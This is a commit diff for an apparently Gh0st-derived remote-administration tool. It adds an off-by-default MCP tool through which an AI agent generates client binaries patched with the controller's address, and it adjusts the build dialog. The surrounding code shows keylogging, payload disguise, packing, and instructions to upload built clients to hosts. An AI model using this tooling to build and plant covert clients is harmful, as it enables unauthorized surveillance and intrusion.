Feature: add build_client MCP tool and improve build dialog linkage
Add a service-local MCP tool, build_client, that patches a client template with this master's connect settings and writes the binary on the server. It covers ghost/TestRun/ServerDll/TinyRun plus Linux, macOS and Android, reusing the same byte path as CBuildDlg::OnBnClickedOk (CONNECT_ADDRESS overwrite, build-date check, embedded TLS anchor before UPX/padding). ShellCode AES and payload impersonation stay dialog-only. The tool is gated by a new McpBuild switch (default 0) and McpReadonly=0. It refuses to overwrite an existing file unless overwrite=true, protects the server binaries/settings.ini/upx.exe, validates names strictly and uses a unique UPX temp file so it cannot race the dialog. Results report the path, size, target, TLS-anchor status and follow-up tips. In the build dialog, Linux/macOS/Android targets now also grey out the install-location combo/label and run mode, save and restore the Windows compress choice, hide payload/download rows, grey the random-name and run-as-admin menu items, and fix the TLS-anchor label for posix targets. OnBnClickedOk is untouched; generated output is unchanged for every target. New UI strings were added to the en_US, zh_TW and de_DE language packs. McpBuild is off by default and changes require a server restart. Verified on a Debug x64 instance: MCP generation for Linux is patched correctly, Android and ghost anchor/error paths behave, and dialog-driven Linux/TestRun/SC_AES generation still succeeds. mcp/tools.json regenerated (55 tools); check_platform_table.py passes. Co-Authored-By: deepseek-flash
This commit is contained in:
1 parent
1401ff0a4c
commit
7172ab376d
20 files changed
+1619
-36
No files matched your search
@@ -2580,6 +2580,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
||||
McpServer().SetChatEnabled(THIS_CFG.GetInt("settings", "McpChat", 0) != 0);
|
||||
// N3 键盘记录(get_keylog):独立开关默认关,与只读开关无关。
|
||||
McpServer().SetKeylogEnabled(THIS_CFG.GetInt("settings", "McpKeylog", 0) != 0);
|
||||
// 生成客户端(build_client):独立开关默认关;写客户端二进制,要求只读关。
|
||||
McpServer().SetBuildEnabled(THIS_CFG.GetInt("settings", "McpBuild", 0) != 0);
|
||||
// 平台门禁:默认开。调用前拦掉目标客户端根本没实现的工具(立刻 -32005),
|
||||
// 否则会照常下发命令然后白等超时。关掉它只影响这道拦截,不改任何工具的执行路径。
|
||||
McpServer().SetPlatformGuardEnabled(
|
||||
|
||||
@@ -330,6 +330,7 @@
|
||||
<ClInclude Include="McpServer.h" />
|
||||
<ClInclude Include="McpTlsProxy.h" />
|
||||
<ClInclude Include="McpChat.h" />
|
||||
<ClInclude Include="McpBuildClient.h" />
|
||||
<ClInclude Include="McpInternal.h" />
|
||||
<ClInclude Include="McpMachine.h" />
|
||||
<ClInclude Include="McpSettingsDlg.h" />
|
||||
@@ -403,6 +404,7 @@
|
||||
<ClCompile Include="McpServer.cpp" />
|
||||
<ClCompile Include="McpTlsProxy.cpp" />
|
||||
<ClCompile Include="McpChat.cpp" />
|
||||
<ClCompile Include="McpBuildClient.cpp" />
|
||||
<ClCompile Include="McpInternal.cpp" />
|
||||
<ClCompile Include="McpMachine.cpp" />
|
||||
<ClCompile Include="McpSettingsDlg.cpp" />
|
||||
|
||||
@@ -92,6 +92,7 @@
|
||||
<ClCompile Include="HostJson.cpp" />
|
||||
<ClCompile Include="McpServer.cpp" />
|
||||
<ClCompile Include="McpChat.cpp" />
|
||||
<ClCompile Include="McpBuildClient.cpp" />
|
||||
<ClCompile Include="McpInternal.cpp" />
|
||||
<ClCompile Include="McpMachine.cpp" />
|
||||
<ClCompile Include="McpSettingsDlg.cpp" />
|
||||
@@ -210,6 +211,7 @@
|
||||
<ClInclude Include="TriggerSettingsDlg.h" />
|
||||
<ClInclude Include="McpServer.h" />
|
||||
<ClInclude Include="McpChat.h" />
|
||||
<ClInclude Include="McpBuildClient.h" />
|
||||
<ClInclude Include="McpInternal.h" />
|
||||
<ClInclude Include="McpMachine.h" />
|
||||
<ClInclude Include="McpSettingsDlg.h" />
|
||||
|
||||
@@ -47,6 +47,12 @@ enum Payload {
|
||||
Payload_PDF,
|
||||
};
|
||||
|
||||
// Linux / macOS / Android 是固定架构的预编译模板,没有 Windows 的安装/加壳/增肥语义。
|
||||
static bool IsWindowsTarget(int index)
|
||||
{
|
||||
return !(index == IndexLinuxGhost || index == IndexMacGhost || index == IndexAndroidGhost);
|
||||
}
|
||||
|
||||
// CBuildDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
|
||||
@@ -223,9 +229,9 @@ CBuildDlg::CBuildDlg(CWnd* pParent)
|
||||
, m_sInstallDir(_T(""))
|
||||
, m_sInstallName(_T(""))
|
||||
, m_sDownloadUrl(_T(""))
|
||||
, m_nWindowsCompress(CLIENT_COMPRESS_SC_AES_OLD)
|
||||
, m_nAnchorUserCheck(-1)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
CBuildDlg::~CBuildDlg()
|
||||
@@ -904,6 +910,7 @@ BOOL CBuildDlg::OnInitDialog()
|
||||
m_ComboCompress.InsertStringL(CLIENT_SHELLCODE_BINARY, "ShellCode BIN");
|
||||
m_ComboCompress.InsertStringL(CLIENT_COMP_SC_AES_OLD_UPX, "SC AES<Old> + UPX");
|
||||
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_SC_AES_OLD);
|
||||
m_nWindowsCompress = m_ComboCompress.GetCurSel(); // 与上面的默认值保持一致
|
||||
|
||||
m_ComboLocation.InsertStringL(0, "ProgramData");
|
||||
m_ComboLocation.InsertStringL(1, "ProgramFiles - Admin");
|
||||
@@ -995,10 +1002,12 @@ CString CBuildDlg::GetFilePath(CString type, CString filter, BOOL isOpen)
|
||||
return "";
|
||||
}
|
||||
|
||||
// 选 Linux / macOS 客户端时禁用对它们不适用的 Windows-only 选项:
|
||||
// - 架构 (m_ComboBits):Linux/macOS binary 是固定架构的预编译资源
|
||||
// 选 Linux / macOS / Android 客户端时禁用对它们不适用的 Windows-only 选项:
|
||||
// - 架构 (m_ComboBits):这些 binary 是固定架构的预编译资源
|
||||
// - 加壳 (m_ComboCompress):UPX / ShellCode AES 等都是 Windows PE 概念
|
||||
// - 高级 group:安装目录 / 程序名称 / 载荷类型 / 增肥 / 下载服务,全是 Windows 安装/伪装相关
|
||||
// - 运行模式 (m_ComboRunType):runningType 只有 Windows 客户端(ClientDll)消费
|
||||
// - 高级 group:安装位置 / 安装目录 / 程序名称 / 载荷类型 / 增肥 / 下载服务,
|
||||
// 全是 Windows 安装/伪装相关
|
||||
void CBuildDlg::EnableWindowsOnlyControls(BOOL enable)
|
||||
{
|
||||
static const int ids[] = {
|
||||
@@ -1006,8 +1015,11 @@ void CBuildDlg::EnableWindowsOnlyControls(BOOL enable)
|
||||
IDC_COMBO_BITS, IDC_STATIC_BUILD_ARCH,
|
||||
// 加壳
|
||||
IDC_COMBO_COMPRESS, IDC_STATIC_BUILD_PACK,
|
||||
// 高级 group + 内部所有控件
|
||||
// 运行模式
|
||||
IDC_COMBO_RUNTYPE, IDC_STATIC_BUILD_MODE,
|
||||
// 高级 group + 内部所有控件(含「安装目录」下拉框与它的标签)
|
||||
IDC_STATIC_BUILD_ADVANCED,
|
||||
IDC_STATIC_LOCATION, IDC_COMBO_INSTALL_LOC,
|
||||
IDC_STATIC_PAYLOAD, IDC_STATIC_PAYLOAD2, IDC_STATIC_PAYLOAD3,
|
||||
IDC_STATIC_BUILD_PADDING, IDC_STATIC_DOWNLOAD,
|
||||
IDC_EDIT_INSTALL_DIR, IDC_EDIT_INSTALL_NAME,
|
||||
@@ -1019,6 +1031,41 @@ void CBuildDlg::EnableWindowsOnlyControls(BOOL enable)
|
||||
}
|
||||
}
|
||||
|
||||
// 载荷类型 / 下载服务几行的可见性。非 Windows 目标一律隐藏:这些控件虽然已经被
|
||||
// EnableWindowsOnlyControls 置灰,但「置灰却还占着版面」会让人以为它们仍会生效。
|
||||
void CBuildDlg::UpdatePayloadControls()
|
||||
{
|
||||
const int index = m_ComboExe.GetCurSel();
|
||||
if (!IsWindowsTarget(index)) {
|
||||
m_ComboPayload.ShowWindow(SW_HIDE);
|
||||
m_StaticPayload.ShowWindow(SW_HIDE);
|
||||
m_BtnFileServer.ShowWindow(SW_HIDE);
|
||||
m_StaticDownload.ShowWindow(SW_HIDE);
|
||||
m_EditDownloadUrl.ShowWindow(SW_HIDE);
|
||||
return;
|
||||
}
|
||||
|
||||
const bool scAes = m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES;
|
||||
m_ComboPayload.ShowWindow(scAes ? SW_SHOW : SW_HIDE);
|
||||
m_StaticPayload.ShowWindow(scAes ? SW_SHOW : SW_HIDE);
|
||||
|
||||
const bool fileServer = scAes && m_ComboPayload.GetCurSel() > Payload_Self;
|
||||
m_BtnFileServer.ShowWindow(fileServer ? SW_SHOW : SW_HIDE);
|
||||
const bool downloading = fileServer && m_BtnFileServer.GetCheck() == BST_CHECKED;
|
||||
m_StaticDownload.ShowWindow(downloading ? SW_SHOW : SW_HIDE);
|
||||
m_EditDownloadUrl.ShowWindow(downloading ? SW_SHOW : SW_HIDE);
|
||||
}
|
||||
|
||||
// 菜单项联动:随机名称只影响安装目录/程序名,以管理员权限运行只有 Windows 客户端消费。
|
||||
void CBuildDlg::UpdateTargetMenuState(BOOL windowsTarget)
|
||||
{
|
||||
CMenu* sub = m_MainMenu.GetSubMenu(0);
|
||||
if (!sub || !GetSafeHwnd()) return;
|
||||
sub->EnableMenuItem(ID_RANDOM_NAME, windowsTarget ? MF_ENABLED : MF_GRAYED);
|
||||
sub->EnableMenuItem(ID_CLIENT_RUNAS_ADMIN, windowsTarget ? MF_ENABLED : MF_GRAYED);
|
||||
::DrawMenuBar(GetSafeHwnd());
|
||||
}
|
||||
|
||||
// 「内嵌 TLS 信任锚」复选框的可用性与文案。三个条件缺一不可(设计文档 §4.7):
|
||||
// 1. 生成目标里真的有客户端代码(ghost.exe / ServerDll.dll);
|
||||
// 2. 协议会用到这份锚(TCP / HTTP;WS 走明文,WSS 的锚是反代那张证书);
|
||||
@@ -1036,13 +1083,22 @@ void CBuildDlg::UpdateTlsAnchorState()
|
||||
const bool testRun = (index == IndexTestRun_DLL || index == IndexTestRun_MemDLL ||
|
||||
index == IndexTestRun_InjSC || index == IndexTestRunMsc ||
|
||||
index == IndexTestRunSystem);
|
||||
// Linux/macOS/Android 模板里没有锚块(只有 Windows 的 client/ 侧编译了
|
||||
// common/tls_anchor.h),它们的信任锚由主控在线下发;文案要说清这一点,
|
||||
// 不能笼统写成「不含客户端」。
|
||||
const bool posixTarget = (index == IndexLinuxGhost || index == IndexMacGhost ||
|
||||
index == IndexAndroidGhost);
|
||||
|
||||
CString label;
|
||||
bool usable = false;
|
||||
if (!embeddable) {
|
||||
// TestRun 只是加载器,锚要生成进 ServerDll.dll —— 这条提示比「不含客户端」有用。
|
||||
label = testRun ? _TR("内嵌TLS信任锚(锚在ServerDll.dll里)")
|
||||
: _TR("内嵌TLS信任锚(该目标不含客户端)");
|
||||
if (testRun)
|
||||
label = _TR("内嵌TLS信任锚(锚在ServerDll.dll里)");
|
||||
else if (posixTarget)
|
||||
label = _TR("内嵌TLS信任锚(仅Windows客户端模板支持)");
|
||||
else
|
||||
label = _TR("内嵌TLS信任锚(该目标不含客户端)");
|
||||
} else if (proto != PROTO_TCP && proto != PROTO_HTTP) {
|
||||
label = _TR("内嵌TLS信任锚(该协议不走TLS)");
|
||||
} else if (!ServerTlsIdentity::IsReady()) {
|
||||
@@ -1078,9 +1134,31 @@ void CBuildDlg::OnCbnSelchangeComboProto()
|
||||
|
||||
void CBuildDlg::OnCbnSelchangeComboExe()
|
||||
{
|
||||
auto n = m_ComboExe.GetCurSel();
|
||||
EnableWindowsOnlyControls(!(n == IndexLinuxGhost || n == IndexMacGhost || n == IndexAndroidGhost));
|
||||
const int n = m_ComboExe.GetCurSel();
|
||||
const BOOL windowsTarget = IsWindowsTarget(n);
|
||||
|
||||
EnableWindowsOnlyControls(windowsTarget);
|
||||
UpdateTlsAnchorState();
|
||||
|
||||
// 加壳:非 Windows 目标切到「无」并记住 Windows 下的选择,切回时恢复。否则控件
|
||||
// 已置灰却还显示「ShellCode AES」,会让人以为生成时仍按它处理(生成代码其实会强制
|
||||
// 改成 NONE,界面和实际行为对不上)。
|
||||
if (!windowsTarget) {
|
||||
const int cur = m_ComboCompress.GetCurSel();
|
||||
if (cur != CLIENT_COMPRESS_NONE) {
|
||||
m_nWindowsCompress = cur;
|
||||
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE);
|
||||
}
|
||||
} else {
|
||||
if (m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_NONE &&
|
||||
m_nWindowsCompress != CLIENT_COMPRESS_NONE) {
|
||||
m_ComboCompress.SetCurSel(m_nWindowsCompress);
|
||||
}
|
||||
m_nWindowsCompress = m_ComboCompress.GetCurSel();
|
||||
}
|
||||
UpdateTargetMenuState(windowsTarget);
|
||||
UpdatePayloadControls();
|
||||
|
||||
if (n == OTHER_ITEM) {
|
||||
CString name = GetFilePath(_T("dll"), _T("All Files (*.*)|*.*|DLL Files (*.dll)|*.dll|EXE Files (*.exe)|*.exe|"));
|
||||
if (!name.IsEmpty()) {
|
||||
@@ -1150,14 +1228,13 @@ void CBuildDlg::OnClientRunasAdmin()
|
||||
|
||||
void CBuildDlg::OnCbnSelchangeComboCompress()
|
||||
{
|
||||
m_ComboPayload.ShowWindow(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES ? SW_SHOW : SW_HIDE);
|
||||
m_StaticPayload.ShowWindow(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES ? SW_SHOW : SW_HIDE);
|
||||
m_ComboPayload.SetFocus();
|
||||
m_BtnFileServer.ShowWindow(
|
||||
m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES && m_ComboPayload.GetCurSel() ? SW_SHOW : SW_HIDE);
|
||||
// 记下用户在当前 Windows 目标下的加壳选择;切到 Linux/macOS/Android 时控件会置灰、
|
||||
// 显示值切到「无」,切回来时恢复这个值。
|
||||
if (IsWindowsTarget(m_ComboExe.GetCurSel()))
|
||||
m_nWindowsCompress = m_ComboCompress.GetCurSel();
|
||||
m_BtnFileServer.SetCheck(BST_UNCHECKED);
|
||||
m_StaticDownload.ShowWindow(SW_HIDE);
|
||||
m_EditDownloadUrl.ShowWindow(SW_HIDE);
|
||||
UpdatePayloadControls();
|
||||
m_ComboPayload.SetFocus();
|
||||
static bool warned = false;
|
||||
if (m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES && !warned) {
|
||||
warned = true;
|
||||
@@ -1313,9 +1390,6 @@ void CBuildDlg::OnBnClickedCheckFileserver()
|
||||
|
||||
void CBuildDlg::OnCbnSelchangeComboPayload()
|
||||
{
|
||||
m_BtnFileServer.ShowWindow(
|
||||
m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES && m_ComboPayload.GetCurSel() ? SW_SHOW : SW_HIDE);
|
||||
m_BtnFileServer.SetCheck(BST_UNCHECKED);
|
||||
m_StaticDownload.ShowWindow(SW_HIDE);
|
||||
m_EditDownloadUrl.ShowWindow(SW_HIDE);
|
||||
UpdatePayloadControls();
|
||||
}
|
||||
@@ -17,7 +17,8 @@ namespace ResFileName {
|
||||
extern const char* GHOST_X86;
|
||||
extern const char* GHOST_X64;
|
||||
extern const char* GHOST_LINUX;
|
||||
extern const char* GHOST_MACOS; // 预留
|
||||
extern const char* GHOST_MACOS;
|
||||
extern const char* GHOST_ANDROID;
|
||||
// TestRun 加载器
|
||||
extern const char* TESTRUN_X86;
|
||||
extern const char* TESTRUN_X64;
|
||||
@@ -109,6 +110,14 @@ public:
|
||||
void EnableWindowsOnlyControls(BOOL enable);
|
||||
CComboBox m_ComboLocation;
|
||||
|
||||
// 载荷/下载服务几行的可见性(由「目标是否 Windows」+「加壳方式」+「载荷类型」共同决定)
|
||||
void UpdatePayloadControls();
|
||||
// 菜单项联动:随机名称 / 以管理员权限运行只对 Windows 目标有意义
|
||||
void UpdateTargetMenuState(BOOL windowsTarget);
|
||||
// 非 Windows 目标期间暂存的加壳选择:控件置灰后仍显示旧值会让人误以为会按它生成,
|
||||
// 所以切到 Linux/macOS/Android 时先切到「无」,切回 Windows 时恢复。
|
||||
int m_nWindowsCompress;
|
||||
|
||||
// 内嵌服务端 TLS 信任锚(动态创建:不改 .rc,避免 GBK 资源文件的字节级编辑)。
|
||||
// 可用性三条件见 UpdateTlsAnchorState;生成时由 OnBnClickedOk 调用 EmbedTlsAnchorInto。
|
||||
CButton m_ChkTlsAnchor;
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,34 @@
|
||||
#pragma once
|
||||
|
||||
// MCP「生成客户端」工具族:build_client。
|
||||
//
|
||||
// 这是服务端本地工具,不针对任何在线主机:把 res 目录里的客户端模板(ghost / TestRun /
|
||||
// ServerDll / Linux / macOS / Android)patch 成本主控的上线信息并落盘。生成结果与
|
||||
// 「生成服务端」对话框(BuildDlg.cpp)走同一套字节搬运路径:
|
||||
// 资源读取 → CONNECT_ADDRESS 原地覆盖 → 版本日期校验 → 内嵌 TLS 信任锚 → 落盘
|
||||
// 对话框专属的 ShellCode AES / PE→ShellCode / 载荷伪装流程不在 MCP 范围内。
|
||||
//
|
||||
// 独立开关 McpBuild(默认关):生成客户端会用主控的 pwdHash / 主控 ID 写出可分发的
|
||||
// 二进制,属于会留下持久产物的高风险写操作,必须由管理员显式打开。
|
||||
//
|
||||
// 见 docs/Mcp_BuildClient_Design.md。
|
||||
|
||||
#include "jsoncpp/json.h"
|
||||
|
||||
#include <string>
|
||||
|
||||
class CMy2015RemoteDlg;
|
||||
|
||||
namespace McpBuildClient {
|
||||
|
||||
// 是否由本模块处理(AppendTools 与 Call 必须保持一致)。
|
||||
bool Handles(const std::string& toolName);
|
||||
|
||||
// 按当前开关(McpBuild)追加可见工具。
|
||||
void AppendTools(Json::Value& tools);
|
||||
|
||||
// 执行工具;返回完整 JSON-RPC 响应字符串(成功 = BuildResult,失败 = BuildError)。
|
||||
std::string Call(const Json::Value& id, const std::string& toolName,
|
||||
const Json::Value& args, CMy2015RemoteDlg* parent);
|
||||
|
||||
} // namespace McpBuildClient
|
||||
@@ -599,6 +599,9 @@ const ToolHints kToolHints[] = {
|
||||
{ "chat_send", false, false, false, true },
|
||||
{ "chat_wait", false, false, false, true }, // 会取走 inbox 消息,不是纯读
|
||||
{ "chat_close", false, false, true, true },
|
||||
// --- 生成客户端(McpBuild)---
|
||||
// 写服务端本机文件(可覆盖),会留下可分发的客户端二进制;不触达任何外部主机。
|
||||
{ "build_client", false, true, false, false },
|
||||
};
|
||||
|
||||
} // namespace
|
||||
|
||||
@@ -11,6 +11,7 @@
|
||||
#include "McpInternal.h" // 共享助手(McpMachine.cpp 也使用)
|
||||
#include "McpMachine.h" // 主机管理 / 连接管理工具族
|
||||
#include "McpChat.h" // 远程交谈工具族
|
||||
#include "McpBuildClient.h" // 生成客户端工具族(build_client)
|
||||
|
||||
#include <sstream>
|
||||
#include <fstream>
|
||||
@@ -283,12 +284,12 @@ const char* kServerInstructions =
|
||||
u8"2) 工具的可见性与开关\n"
|
||||
u8"tools/list 只返回当前服务端开关允许的工具:终端(terminal)、远程控制(remote_control)、"
|
||||
u8"文件传输(file_transfer)、文件写入(file_write)、管理动作(manage)、主机管理(machine)、键盘记录(keylog)、"
|
||||
u8"远程交谈(chat)各有独立开关。工具不在列表里通常就不可用,直接调用会被拒(-32006 或 -32005);"
|
||||
u8"远程交谈(chat)、生成客户端(build)各有独立开关。工具不在列表里通常就不可用,直接调用会被拒(-32006 或 -32005);"
|
||||
u8"例外是下文提到的降级别名(list_processes / list_windows / list_services、operate_window / "
|
||||
u8"control_service,以及 list_online_hosts / search_hosts / list_all_hosts 等旧名)——"
|
||||
u8"它们不在列表里但仍可调用。"
|
||||
u8"当前开关状态可查 get_server_status 的 switches。只读模式(readonly=true)会挡掉大部分写工具,"
|
||||
u8"但只改服务端本地数据的 host_set_remark / host_set_watch_level 仍会列出,调用时才被拒;"
|
||||
u8"但只改服务端本地数据的 host_set_remark / host_set_watch_level / build_client 仍会列出,调用时才被拒;"
|
||||
u8"get_keylog 只受 McpKeylog 开关控制(与只读模式无关):开关关闭时它不在列表里;只读模式下"
|
||||
u8"只是它的 clear / set_offline 参数被拒,读取不受影响。\n"
|
||||
u8"同一能力存在两套工具时优先用主机管理族:host_inspect(aspects 选 processes / windows / "
|
||||
@@ -350,6 +351,10 @@ const char* kServerInstructions =
|
||||
u8"HTTP 探测:探主机本机或同网段的接口用 http_probe(只收私网/回环 IP 与 localhost,不给域名,"
|
||||
u8"不跟随重定向,响应体上限 64KB),不要为此自己写 Invoke-WebRequest / curl;Windows 与 Linux 可用,"
|
||||
u8"macOS 与 Android 不支持。\n"
|
||||
u8"生成客户端:用户说「生成一个连某地址的 Linux/Windows 客户端」时用 build_client(需开启 build 开关且关闭只读)。"
|
||||
u8"它把模板 patch 成本主控的上线配置后写到服务端本机,结果里 path 是服务端路径;要送到目标机再用 upload_file"
|
||||
u8"(Windows/Linux/macOS 可用,Android 需用户自行安装),但 macOS/Android 的产物还需要重签(结果 tips 会给出命令)。"
|
||||
u8"host/port 省略时取服务端当前有效主控地址。已存在同名文件默认拒绝,需要覆盖时显式传 overwrite=true。\n"
|
||||
u8"\n"
|
||||
u8"5) 客户端平台差异\n"
|
||||
u8"工具能否执行取决于目标主机的平台,这与服务端开关无关,两者是叠加关系。调用前用 "
|
||||
@@ -2410,7 +2415,7 @@ std::string BuildToolsListResult(const Json::Value& id) {
|
||||
{
|
||||
Json::Value tool(Json::objectValue);
|
||||
tool["name"] = "get_server_status";
|
||||
tool["description"] = u8"获取 YAMA 服务端自身的状态:程序版本与 exe 构建时间、进程已运行秒数、MCP 监听地址与端口、各功能开关(只读/终端/远程控制/文件传输/管理/主机管理/高风险操作/键盘记录/远程交谈)、在线与离线主机数、各类在飞会话数、当前被封禁的来源 IP 数。只读、纯内存,不返回 token。";
|
||||
tool["description"] = u8"获取 YAMA 服务端自身的状态:程序版本与 exe 构建时间、进程已运行秒数、MCP 监听地址与端口、各功能开关(只读/终端/远程控制/文件传输/文件写入/管理/主机管理/高风险操作/键盘记录/远程交谈/生成客户端)、在线与离线主机数、各类在飞会话数、当前被封禁的来源 IP 数。只读、纯内存,不返回 token。";
|
||||
|
||||
Json::Value inputSchema(Json::objectValue);
|
||||
inputSchema["type"] = "object";
|
||||
@@ -2812,6 +2817,10 @@ std::string BuildToolsListResult(const Json::Value& id) {
|
||||
// 独立开关 McpChat(默认关),与 McpReadonly 无关;关闭时不追加任何工具。
|
||||
McpChat::AppendTools(tools);
|
||||
|
||||
// 20b) 生成客户端(build_client):服务端本地工具,独立开关 McpBuild(默认关),
|
||||
// 另要求 McpReadonly=0;关闭时不追加任何工具。
|
||||
McpBuildClient::AppendTools(tools);
|
||||
|
||||
// 21) 统一补 annotations(A3):只读/破坏性/幂等/开放世界四类提示。
|
||||
// 放在最后一步,三个注册点(本文件内联、McpMachine、McpChat)一视同仁,
|
||||
// 以后新增工具只需在 McpInternal.cpp 的 kToolHints 表里登记一行。
|
||||
@@ -4580,6 +4589,7 @@ std::string BuildGetServerStatus(const Json::Value& id, CMy2015RemoteDlg* parent
|
||||
switches["machine_dangerous"] = srv.IsMachineDangerousEnabled();
|
||||
switches["keylog"] = srv.IsKeylogEnabled();
|
||||
switches["chat"] = srv.IsChatEnabled();
|
||||
switches["build"] = srv.IsBuildEnabled();
|
||||
status["switches"] = switches;
|
||||
|
||||
int onlineCount = 0, offlineCount = 0;
|
||||
@@ -11991,6 +12001,9 @@ const ToolPlatform kToolPlatforms[] = {
|
||||
{ "mcp_cancel_session", kPlatWin|kPlatLnx|kPlatMac|kPlatApk },
|
||||
{ "host_set_remark", kPlatWin|kPlatLnx|kPlatMac|kPlatApk },
|
||||
{ "host_set_watch_level", kPlatWin|kPlatLnx|kPlatMac|kPlatApk },
|
||||
// 生成客户端只在服务端本机写文件,不触达任何主机;平台表按「全平台」登记,
|
||||
// 门禁因入参没有 id 而直接放行(与其它服务端本地工具相同)。
|
||||
{ "build_client", kPlatWin|kPlatLnx|kPlatMac|kPlatApk },
|
||||
// ---- win+lnx+mac ---- SYSTEM / LIST_DRIVE / QUERY_LOG / V2 文件传输
|
||||
{ "list_processes", kPlatWin|kPlatLnx|kPlatMac },
|
||||
{ "list_files", kPlatWin|kPlatLnx|kPlatMac },
|
||||
@@ -12397,6 +12410,9 @@ std::string DispatchSingleHostTool(const Json::Value& id, const std::string& too
|
||||
// P9:远程交谈工具族(独立开关 McpChat;门控在 McpChat::Call 内复核)。
|
||||
if (McpChat::Handles(toolName)) return McpChat::Call(id, toolName, args, parent);
|
||||
|
||||
// 生成客户端(独立开关 McpBuild + !McpReadonly;门控在 Call 内复核)。
|
||||
if (McpBuildClient::Handles(toolName)) return McpBuildClient::Call(id, toolName, args, parent);
|
||||
|
||||
// P1-1:list_hosts 与三个旧别名共用一个 handler;list_all_hosts 默认为「在线 + 离线」。
|
||||
if (toolName == "list_hosts") return BuildListHosts(id, args, parent, false);
|
||||
if (toolName == "list_online_hosts") return BuildListHosts(id, args, parent, false);
|
||||
|
||||
@@ -566,6 +566,13 @@ public:
|
||||
void SetKeylogEnabled(bool enabled) { m_keylogEnabled = enabled; }
|
||||
bool IsKeylogEnabled() const { return m_keylogEnabled; }
|
||||
|
||||
// ===== 生成客户端(build_client)=====
|
||||
// 服务端本地工具:按本主控配置 patch 客户端模板并落盘。不是远程操作,但会写出
|
||||
// 可分发的二进制(含 pwdHash / 主控 ID),独立开关 McpBuild(默认关)且要求
|
||||
// McpReadonly=0。见 docs/Mcp_BuildClient_Design.md。
|
||||
void SetBuildEnabled(bool enabled) { m_buildEnabled = enabled; }
|
||||
bool IsBuildEnabled() const { return m_buildEnabled; }
|
||||
|
||||
// ===== 工具默认等待超时([settings] McpToolTimeoutMs,ini-only 键)=====
|
||||
// 慢主机上 20s 固定的工具超时太紧;调到 60s 更实用。范围 clamp 到 [1000, 600000]。
|
||||
// 改动需重启服务端生效(与其它 Mcp* 开关一致)。
|
||||
@@ -999,6 +1006,7 @@ private:
|
||||
bool m_machineEnabled = false; // P8 主机管理族总开关(默认关;16 个 host_* 工具)
|
||||
bool m_machineDangerousEnabled = false; // P8 高风险子集(冻结/解冻进程、停止/重启服务)
|
||||
bool m_keylogEnabled = false; // N3 键盘记录开关(默认关;get_keylog)
|
||||
bool m_buildEnabled = false; // 生成客户端开关(默认关;build_client)
|
||||
// 平台门禁(默认开):调用前拦掉「该客户端根本没实现」的工具,立刻返回 -32005。
|
||||
// 关闭后这类调用会照常下发命令,通常表现为白等超时。判据表见 McpServer.cpp 的
|
||||
// kToolPlatforms,与 mcp/tools.json 的 platforms 字段对应。
|
||||
|
||||
@@ -181,6 +181,9 @@ BOOL CMcpSettingsDlg::OnInitDialog()
|
||||
m_btnKeylog.Create(_TR("启用键盘记录(AI 采集击键)"),
|
||||
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
|
||||
r0, this, IDC_MCP_KEYLOG);
|
||||
m_btnBuild.Create(_TR("启用客户端生成(AI 生成客户端文件,要求只读关)"),
|
||||
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
|
||||
r0, this, IDC_MCP_BUILD);
|
||||
m_lblWhitelist.Create(_TR("命令白名单"), WS_CHILD | WS_VISIBLE, r0, this, (UINT)-1);
|
||||
m_editWhitelist.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP |
|
||||
ES_MULTILINE | ES_AUTOVSCROLL | ES_WANTRETURN | WS_VSCROLL,
|
||||
@@ -217,6 +220,7 @@ BOOL CMcpSettingsDlg::OnInitDialog()
|
||||
m_btnMachineDangerous.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
m_btnChat.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
m_btnKeylog.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
m_btnBuild.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
m_lblWhitelist.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
m_editWhitelist.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
m_btnOK.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
@@ -239,6 +243,7 @@ BOOL CMcpSettingsDlg::OnInitDialog()
|
||||
int machineDangerous = THIS_CFG.GetInt("settings", "McpMachineDangerous", 0);
|
||||
int chat = THIS_CFG.GetInt("settings", "McpChat", 0);
|
||||
int keylog = THIS_CFG.GetInt("settings", "McpKeylog", 0);
|
||||
int build = THIS_CFG.GetInt("settings", "McpBuild", 0);
|
||||
std::string whitelist = THIS_CFG.GetStr("settings", "McpCmdWhitelist", "");
|
||||
int https = THIS_CFG.GetInt("settings", "McpHttps", 0);
|
||||
std::string certPath = THIS_CFG.GetStr("settings", "McpCertPath", "");
|
||||
@@ -265,6 +270,7 @@ BOOL CMcpSettingsDlg::OnInitDialog()
|
||||
m_btnMachineDangerous.SetCheck(machineDangerous ? BST_CHECKED : BST_UNCHECKED);
|
||||
m_btnChat.SetCheck(chat ? BST_CHECKED : BST_UNCHECKED);
|
||||
m_btnKeylog.SetCheck(keylog ? BST_CHECKED : BST_UNCHECKED);
|
||||
m_btnBuild.SetCheck(build ? BST_CHECKED : BST_UNCHECKED);
|
||||
// 白名单存储为逗号分隔,展示为每行一条。
|
||||
m_editWhitelist.SetWindowText(CString(WhitelistForDisplay(whitelist).c_str()));
|
||||
|
||||
